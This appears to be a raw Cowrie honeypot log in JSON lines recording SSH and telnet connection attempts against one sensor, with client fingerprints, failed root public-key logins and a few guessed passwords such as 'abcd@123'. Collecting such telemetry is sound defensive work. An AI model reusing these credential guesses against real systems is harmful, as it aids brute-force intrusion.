{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:7f:67:c4:a6:b0:e1:84:0c:ef:60:bf:7b:ba:5a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCK0ws1lj5AmhK1SyAS+i1IID0MrR1a5i/Vk7lHAkNX+FjJcf/3jd6OFdWc6piXoeLfCEGXIy4i9OJF2gflEko4QKAN/G+AAfTocXhJTZdNkQrheGQo3M5pfwzanzwqFhjogoH6mbROjTukjFHFvW5m7ckDhE+F0HrQSJwy4H/D2odLZ/k1HltObGlh/2x0gvyvOJT80Yc4SFFWwZ1MfIJRIvDZtBnF2YR1RaltrfXyvq5UKZZ+KIhO+xPBhXFUjLZ12AyTB1lrtJNBTngra51qPEE2sCON06RDn4Su08eazgBhf/LRvn567u9SooZNPo9tAoJpn8HAhWtyEkwj/sOJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:7f:67:c4:a6:b0:e1:84:0c:ef:60:bf:7b:ba:5a:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.396088Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:7f:67:c4:a6:b0:e1:84:0c:ef:60:bf:7b:ba:5a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCK0ws1lj5AmhK1SyAS+i1IID0MrR1a5i/Vk7lHAkNX+FjJcf/3jd6OFdWc6piXoeLfCEGXIy4i9OJF2gflEko4QKAN/G+AAfTocXhJTZdNkQrheGQo3M5pfwzanzwqFhjogoH6mbROjTukjFHFvW5m7ckDhE+F0HrQSJwy4H/D2odLZ/k1HltObGlh/2x0gvyvOJT80Yc4SFFWwZ1MfIJRIvDZtBnF2YR1RaltrfXyvq5UKZZ+KIhO+xPBhXFUjLZ12AyTB1lrtJNBTngra51qPEE2sCON06RDn4Su08eazgBhf/LRvn567u9SooZNPo9tAoJpn8HAhWtyEkwj/sOJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.400032Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:06:5d:b7:70:f7:b7:ac:79:29:4a:66:98:f1:38:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzRbWER8jyu3ydiyE86xEvUKpY3c6ZblJB7Z/B4sKUQD8yN2GRcsvPFQNzaMTOYl3vdd3s48ttE9oHjQvz0ztb/M41pko8U0S149SXQaSwrwLTKOlxozwXLiaasGTknuei/HDadFEIDfOkb7ud1WjgJScQOeh2KDcZocae/wBFDsRVtg5JrqwvsCtAp9P/XwcWEHmhffijg7+U8azTbds9Jy8+gUjhuNbH47PsHaGNuR1NG5O5A6Dqhk+UOtOC08CW47po0KO7Z/fcarVJhNmfnd3B9xVhNVvW3e0/jzcvMWsSGQNWww6ReBg6dDrmeiR1fqGdNtcLN1+vq1cZvL9TQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:06:5d:b7:70:f7:b7:ac:79:29:4a:66:98:f1:38:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.531814Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:06:5d:b7:70:f7:b7:ac:79:29:4a:66:98:f1:38:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzRbWER8jyu3ydiyE86xEvUKpY3c6ZblJB7Z/B4sKUQD8yN2GRcsvPFQNzaMTOYl3vdd3s48ttE9oHjQvz0ztb/M41pko8U0S149SXQaSwrwLTKOlxozwXLiaasGTknuei/HDadFEIDfOkb7ud1WjgJScQOeh2KDcZocae/wBFDsRVtg5JrqwvsCtAp9P/XwcWEHmhffijg7+U8azTbds9Jy8+gUjhuNbH47PsHaGNuR1NG5O5A6Dqhk+UOtOC08CW47po0KO7Z/fcarVJhNmfnd3B9xVhNVvW3e0/jzcvMWsSGQNWww6ReBg6dDrmeiR1fqGdNtcLN1+vq1cZvL9TQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.535692Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.666468Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00399684906006,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:13.729093Z","src_ip":"152.42.224.71","session":"5bcf52d760ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.12583661079407,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:20.750519Z","src_ip":"152.42.224.71","session":"69b6ee507c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.2","src_port":58244,"dst_ip":"10.17.0.5","dst_port":22,"session":"85f8bcc6ca29","protocol":"ssh","message":"New connection: 199.127.60.2:58244 (10.17.0.5:22) [session: 85f8bcc6ca29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:22.689251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:22.694267Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:22.737419Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a5:f2:57:ae:6c:2b:bd:22:1d:1b:04:c2:84:54:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2u9jiL/8mM6fScPsIc2nxgdaKe7VahWDYOG1UZtub3Ncg9rE33kUm6YwZzvfvtExxLI1g6I332pQ6idjB1gKeeJzlDFIN8ssiCshN7xfbjNYKK9gkrMm/7DmF399T+ujPCyxu3HMUc1pCwp/9RbpsizdZVYkCWgAvllAwamv4Rafer7Ktjvwrp2GuOhDAQU95WLb4XnomrrwxrGSWES2O9/5cvSMHK8oqjMY8grw0rCYKwAggYaDUGSyZmTOX55Jg+suwZnIkaOALw/KNlu3bfqC63SfLkBJBsCK9WXXeVSGs5jiZIqE+gxst+aIPDQlcEO5jK1BQ41sWF3V6E1SV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a5:f2:57:ae:6c:2b:bd:22:1d:1b:04:c2:84:54:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:22.914087Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a5:f2:57:ae:6c:2b:bd:22:1d:1b:04:c2:84:54:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2u9jiL/8mM6fScPsIc2nxgdaKe7VahWDYOG1UZtub3Ncg9rE33kUm6YwZzvfvtExxLI1g6I332pQ6idjB1gKeeJzlDFIN8ssiCshN7xfbjNYKK9gkrMm/7DmF399T+ujPCyxu3HMUc1pCwp/9RbpsizdZVYkCWgAvllAwamv4Rafer7Ktjvwrp2GuOhDAQU95WLb4XnomrrwxrGSWES2O9/5cvSMHK8oqjMY8grw0rCYKwAggYaDUGSyZmTOX55Jg+suwZnIkaOALw/KNlu3bfqC63SfLkBJBsCK9WXXeVSGs5jiZIqE+gxst+aIPDQlcEO5jK1BQ41sWF3V6E1SV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:22.919487Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:d0:93:bf:d4:f1:60:09:eb:ba:2a:b8:cc:56:01:e4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFUpqfcfZ8939nCdR2FlY1VnSn7fNn1ZZIKT8TsEKRnm","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 65:d0:93:bf:d4:f1:60:09:eb:ba:2a:b8:cc:56:01:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:22.960775Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:d0:93:bf:d4:f1:60:09:eb:ba:2a:b8:cc:56:01:e4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFUpqfcfZ8939nCdR2FlY1VnSn7fNn1ZZIKT8TsEKRnm","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:22.964663Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:d9:54:5b:53:7e:c1:f0:ef:d0:da:8d:2b:9f:21:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEczFTz3ScaO0/N05XsBMySk3Tp/hO9a1XakjvIAECrXXwQG47OBM+EHxrClYXd+yGQGly3ZD2U2pcmqu31TZ+aeNQlqvejV2JiQcbZoUaNGZuycPpnsqz/OKqK8MIeU0ljkK3bjo20XWdwbvup7x0BMwZaYt5sUfwvu7DO4YUfkjb0zCk6CibNznLDu2wusi9YQSN0UefFLuA5MUqBg8mu6f1/otQTQXi7EZQFegzacGG7W+frg51HCeP7NEj0WEeFJXbP1qKyRMQ4Ipjkda2P23lN6ImpO8GXyG2/nWUnBdX5Zj6guTxZlGva2rIZjD8fFYN++Ag5OKuzzKak1XR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:d9:54:5b:53:7e:c1:f0:ef:d0:da:8d:2b:9f:21:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:23.004958Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:d9:54:5b:53:7e:c1:f0:ef:d0:da:8d:2b:9f:21:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEczFTz3ScaO0/N05XsBMySk3Tp/hO9a1XakjvIAECrXXwQG47OBM+EHxrClYXd+yGQGly3ZD2U2pcmqu31TZ+aeNQlqvejV2JiQcbZoUaNGZuycPpnsqz/OKqK8MIeU0ljkK3bjo20XWdwbvup7x0BMwZaYt5sUfwvu7DO4YUfkjb0zCk6CibNznLDu2wusi9YQSN0UefFLuA5MUqBg8mu6f1/otQTQXi7EZQFegzacGG7W+frg51HCeP7NEj0WEeFJXbP1qKyRMQ4Ipjkda2P23lN6ImpO8GXyG2/nWUnBdX5Zj6guTxZlGva2rIZjD8fFYN++Ag5OKuzzKak1XR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:23.010940Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:24:c3:64:f3:d6:f1:6c:da:83:44:18:bd:02:7a:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCr3mdY8yV4Z/oAF72xJKgySET9Zv/jsg/wlkdtGIHvL2KMIegCwrF5ZvUNPp7Ti3auQMuNOGWVBVfAP2uMQoTXAnqySqOo5myS5oNdmcdyodnAAgcqN5eDjUNPaYGiQ6uoBam+Dcdcxn+pwdy5BwYrYhZME3o+S90yP+wWDkKD+Ucx7homb8EapaXDs/9E8/5CjZRyI6giWAMWFSOpZe9cZJbTmbHMrmOW7YMznsx6XMX1wAF1/QF/OBfJf+I/+GrHV0j4hrkiLhPkTVtubv0E820aobszbJmY1m2LRoO1AgmX1bwJzFCClrpjkRc7iXIFgUuoAz5b1zsBMU0s9uKLoa8EJSG/B0rfzLIdmhgny5KVRBb5Y7C4S4SmSKSZhG78jQpo79MOndkeZAW8pnZdCYXrq+uUMsyvhC4g/uh4xhq2Z1FEFjKlWVHSLr3ns1VXUd41gJwczvZrFLFZ7RW5TZt5qD74jVvfTCRvEgtt/Ft80zZBSvxAxI+eIOoLQnc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:24:c3:64:f3:d6:f1:6c:da:83:44:18:bd:02:7a:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:23.050271Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:24:c3:64:f3:d6:f1:6c:da:83:44:18:bd:02:7a:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCr3mdY8yV4Z/oAF72xJKgySET9Zv/jsg/wlkdtGIHvL2KMIegCwrF5ZvUNPp7Ti3auQMuNOGWVBVfAP2uMQoTXAnqySqOo5myS5oNdmcdyodnAAgcqN5eDjUNPaYGiQ6uoBam+Dcdcxn+pwdy5BwYrYhZME3o+S90yP+wWDkKD+Ucx7homb8EapaXDs/9E8/5CjZRyI6giWAMWFSOpZe9cZJbTmbHMrmOW7YMznsx6XMX1wAF1/QF/OBfJf+I/+GrHV0j4hrkiLhPkTVtubv0E820aobszbJmY1m2LRoO1AgmX1bwJzFCClrpjkRc7iXIFgUuoAz5b1zsBMU0s9uKLoa8EJSG/B0rfzLIdmhgny5KVRBb5Y7C4S4SmSKSZhG78jQpo79MOndkeZAW8pnZdCYXrq+uUMsyvhC4g/uh4xhq2Z1FEFjKlWVHSLr3ns1VXUd41gJwczvZrFLFZ7RW5TZt5qD74jVvfTCRvEgtt/Ft80zZBSvxAxI+eIOoLQnc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:23.053380Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:19:68:ab:3e:9e:38:be:d5:55:17:12:7f:76:31:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHoauElywYI24dn37zFev0+Km1Tscu5HwwORSn7cBvTtEgkFRP6tN0ZTz3+KqpG9mHO043AEoSyUzg6hYALHHV1rvNCN8JkEZF56OoMxGg6kU8M9wS+6b9XM/lsXPk1+1qlh+jjVz5sFGPn+fju96LtXZ1C+tFYCYW7fbTF10CcBPtGtzFVjrHT40K8ySEaU04xW+jyN1U4vADeFwmSsa8cKwvB5aDssoVe/RLr//JbJrxMmdlpbLlYxx82T8mjndWPeLybsEw9y1G1fpCQuth8V4P4zag38OpezlrbUbhqNeUFbH2WkVl7F46lxnMVTG+0SvKbX6PBvbFf4bpfAXmQCx0UGg3scFRHxaY0aVVUlaDx2fWZ1boDZbQBnjZliVt9/QUeJd6LbFpi+R5Fz5+YJ/kYx6pvThSS09VqOBdOIhNErqrRsWlRH7FxzNpKQyFoiMXW/XPz1Nv5bMwoLsIzF+uGNPtDVUWmBAxl1jI4TDYFYOPqBjSQl6IROTgIRqYKxWa+Zkt2eoFlQoi1IivHrb6vX2XsipyuyGJyyplerGsHMn7gMv4MbQehtSFhVycttoDwJxVmMovt63rOqzwJbyTd+51jvaKCJrQjfh9BNbaVQtYpxoGcahZq1YBrXBKw7UCIkccp9ljpCc2h+vuMTYNg6uX4Lxnp3+ZJ7XXgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:19:68:ab:3e:9e:38:be:d5:55:17:12:7f:76:31:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:23.092680Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:19:68:ab:3e:9e:38:be:d5:55:17:12:7f:76:31:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHoauElywYI24dn37zFev0+Km1Tscu5HwwORSn7cBvTtEgkFRP6tN0ZTz3+KqpG9mHO043AEoSyUzg6hYALHHV1rvNCN8JkEZF56OoMxGg6kU8M9wS+6b9XM/lsXPk1+1qlh+jjVz5sFGPn+fju96LtXZ1C+tFYCYW7fbTF10CcBPtGtzFVjrHT40K8ySEaU04xW+jyN1U4vADeFwmSsa8cKwvB5aDssoVe/RLr//JbJrxMmdlpbLlYxx82T8mjndWPeLybsEw9y1G1fpCQuth8V4P4zag38OpezlrbUbhqNeUFbH2WkVl7F46lxnMVTG+0SvKbX6PBvbFf4bpfAXmQCx0UGg3scFRHxaY0aVVUlaDx2fWZ1boDZbQBnjZliVt9/QUeJd6LbFpi+R5Fz5+YJ/kYx6pvThSS09VqOBdOIhNErqrRsWlRH7FxzNpKQyFoiMXW/XPz1Nv5bMwoLsIzF+uGNPtDVUWmBAxl1jI4TDYFYOPqBjSQl6IROTgIRqYKxWa+Zkt2eoFlQoi1IivHrb6vX2XsipyuyGJyyplerGsHMn7gMv4MbQehtSFhVycttoDwJxVmMovt63rOqzwJbyTd+51jvaKCJrQjfh9BNbaVQtYpxoGcahZq1YBrXBKw7UCIkccp9ljpCc2h+vuMTYNg6uX4Lxnp3+ZJ7XXgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:23.096799Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:23.136981Z","src_ip":"199.127.60.2","session":"85f8bcc6ca29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad06ff50c8d3","protocol":"telnet","message":"New connection: 152.42.224.71:46014 (10.17.0.5:23) [session: ad06ff50c8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:25.712413Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":58674,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b004df3c17f","protocol":"ssh","message":"New connection: 194.147.93.208:58674 (10.17.0.5:22) [session: 5b004df3c17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:27.669358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:27.675336Z","src_ip":"194.147.93.208","session":"5b004df3c17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:27.770206Z","src_ip":"194.147.93.208","session":"5b004df3c17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shenxuan","message":"login attempt [root/shenxuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:28.164917Z","src_ip":"194.147.93.208","session":"5b004df3c17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:29.259420Z","src_ip":"194.147.93.208","session":"5b004df3c17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46540,"dst_ip":"10.17.0.5","dst_port":23,"session":"3924a9199bc6","protocol":"telnet","message":"New connection: 152.42.224.71:46540 (10.17.0.5:23) [session: 3924a9199bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:34.747002Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":54182,"dst_ip":"10.17.0.5","dst_port":22,"session":"af379a3997e6","protocol":"ssh","message":"New connection: 43.159.35.21:54182 (10.17.0.5:22) [session: af379a3997e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:35.573864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:35.578501Z","src_ip":"43.159.35.21","session":"af379a3997e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:35.824047Z","src_ip":"43.159.35.21","session":"af379a3997e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@123","message":"login attempt [root/abcd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:36.835349Z","src_ip":"43.159.35.21","session":"af379a3997e6","protocol":"ssh"}
